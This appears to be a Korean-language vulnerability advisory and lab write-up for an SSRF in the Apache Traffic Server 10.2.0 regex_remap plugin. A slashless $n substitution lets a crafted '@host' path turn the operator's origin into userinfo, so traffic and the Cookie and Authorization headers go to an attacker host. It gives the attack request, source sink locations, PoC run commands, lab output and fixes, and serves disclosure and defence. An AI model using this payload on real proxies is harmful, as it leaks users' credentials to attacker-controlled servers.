
Apache Traffic Server 10.2.0 - 높음 - 원격 - SSRF - regex_remap noslash $n userinfo origin 탈취
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · ats-regex-remap-userinfo
분류: SSRF 도달 범위: 원격
Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation
regex_remap의 $n 치환은 문자열로 연결되어 TSUrlParse로 전달되며, 이 함수는 url_clear를 수행한 뒤 전체 URL로 파싱합니다. @로 시작하는 캡처는 RFC 3986 userinfo이므로, 운영자 origin이 userinfo가 되고 공격자 호스트가 origin이 됩니다. Cookie와 Authorization은 ATS uid로 전달됩니다.
남는 부분은 http://origin:port$1(슬래시 없음)입니다. 문서화된 http://origin/$1은 슬래시가 authority를 종료시키므로 운영자 origin에 머무릅니다. 플러그인은 기본적으로 로드되지 않습니다.
이는 CVE-2026-58179(url_len VLA, 현재 LocalBuffer)가 아니며, CVE-2026-22068(코어 regex_map은 전체 앵커링됨)도 아닙니다.
| ID | 아직 CVE 없음 |
| 분류 | SSRF |
| 도달 범위 | 원격 (인증 없는 HTTP) |
| CWE | CWE-918 |
| CVSS | 높음: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| 제품 | Apache Traffic Server |
| 영향 받음 | 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so 슬래시 없는 $n |
| 인증 | 없음. 플러그인 로드됨. 치환 http://origin:port$1. |
| 라이선스 | GNU Affero GPL v3.0 |
| 랩 | 127.0.0.1:18730 전용. 이미지 ats-10.2.0-lab:local. |
태그 10.2.0, 커밋 b1df7334b39a878971c376da849e8da4984918b6을 고정했습니다. 소스 빌드 이미지입니다.
리맵이 regex_remap.so를 로드하고 $n이 host:port 바로 뒤에 슬래시 없이 오는 vhost에 대한 인증 없는 HTTP.
| 방법 | 싱크 | 권한 |
|---|---|---|
치환 http://good-origin:8080$1로 GET /@evil-origin:8080/x | url_clear 이후 TSUrlParse (regex_remap.cc:1159-1168, URL.cc:1313-1327) | 무결성 / SSRF (랩 입증): ATS가 evil-origin:8080을 origin으로 다이얼(userinfo=good-origin:8080). Cookie와 Authorization 전달됨. |
| 동일 | 공격자 origin 본문 | 정찰 (랩 입증): ATS-REGEX-REMAP-USERINFO-WITNESS가 클라이언트로 반환됨. cookie-fwd=True authorization-fwd=True. |
문서화된 치환 http://good-origin:8080/$1 | authority가 /에서 종료됨 | 차단됨 (랩 입증): good-origin에 머무름. |
치환 http://$1 | 운영자가 $n을 authority에 넣음 | SSRF (랩 입증): 역시 evil-origin에 도달함. 다른 운영자 실수. |
랩 입증 vs 추론: 슬래시 없는 잔여 부분, 문서화된 슬래시는 유지, dollar-at / dollar-host도 evil, Cookie와 Authorization 전달됨, good-origin의 대조 /ok: 랩. 공격자 origin이 해당 헤더로 무엇을 할 수 있는지는 그 호스트가 이미 무엇인지에 달려 있습니다.
요구 사항: regex_remap 플러그인. 치환 http://origin:port$1(슬래시 없음)을 사용하는 맵. remap_required는 1로 유지됨(오픈 릴레이 아님).
| 표면 | 랩 |
|---|---|
문서화된 http://origin/$1 | slash=good |
코어 regex_map 호스트 | RE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 차단됨) |
| url_len 스택 | LocalBuffer (CVE-2026-58179 차단됨) |
remap_required: 0 오픈 릴레이 | 사용되지 않음 |
대조 GET /ok | good-origin, witness 없음 |
regex_remap는 $n으로부터 dest 문자열을 만들고 전체 문자열에 대해 TSUrlParse를 호출합니다. URL.cc에서 @는 userinfo입니다. http://good-origin:8080 + @evil-origin:8080/x를 연결하면 파서는 RFC 3986이 규정한 그대로 동작합니다.
먼저 문서화된 형태를 시도했습니다. http://good-origin:8080/$1에 경로 /@evil-origin:8080/x를 넣으면 http://good-origin:8080/@evil-origin:8080/x가 됩니다. 슬래시가 authority를 종료시킵니다. good-origin에 머물렀습니다. 그것이 잔여물이 아닙니다.
그다음 http://good-origin:8080$1(슬래시 없음). dest는 http://good-origin:8080@evil-origin:8080/x입니다. userinfo=good-origin:8080 host=evil-origin. evil origin에서의 증거입니다. Cookie와 Authorization이 함께 따라왔습니다.
잘못된 방향: 문서화된 슬래시 형태를 제출하는 것; core regex_map을 이 플러그인으로 취급하는 것; url_len VLA를 부풀리는 것(패치됨); http://$1을 유일한 잔여물로 취급하는 것(그것은 두 번째 연산자 실수이며, noslash 실수가 아님).
극적인 요소: 리버스 셸. 오라클은 origin 본문에 더해 전달된 Cookie / Authorization입니다.
python3 ats-regex-remap-userinfo-Abraxas-Labs.py
또는
cd lab
./run.sh
Loopback 127.0.0.1:18730 (악성 origin은 18731에도 게시됨). Compose 프로젝트 ats-regex-remap-userinfo. 이미지 ats-10.2.0-lab:local. 세 개의 vhost: slash / noslash / dollar. Witness ATS-REGEX-REMAP-USERINFO-WITNESS. 마지막 줄:
SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS
$n을 authority에 연결하지 마세요. 호스트와 캡처 사이에 슬래시를 유지하거나, subst를 경로 전용으로 파싱하세요. 호스트가 운영자 origin이 아닌 dest는 거부하세요. 플러그인이 생성한 URL에서 userinfo를 제거하세요. 문서에서는 http://origin/$1이 운영자가 작성하는 유일한 형태인 것처럼 암시하는 것을 중단해야 합니다.
b1df7334b39a878971c376da849e8da4984918b6)regex_remap.cc subst 이후의 TSUrlParseURL.cc @ userinfoInkAPI.cc TSUrlParse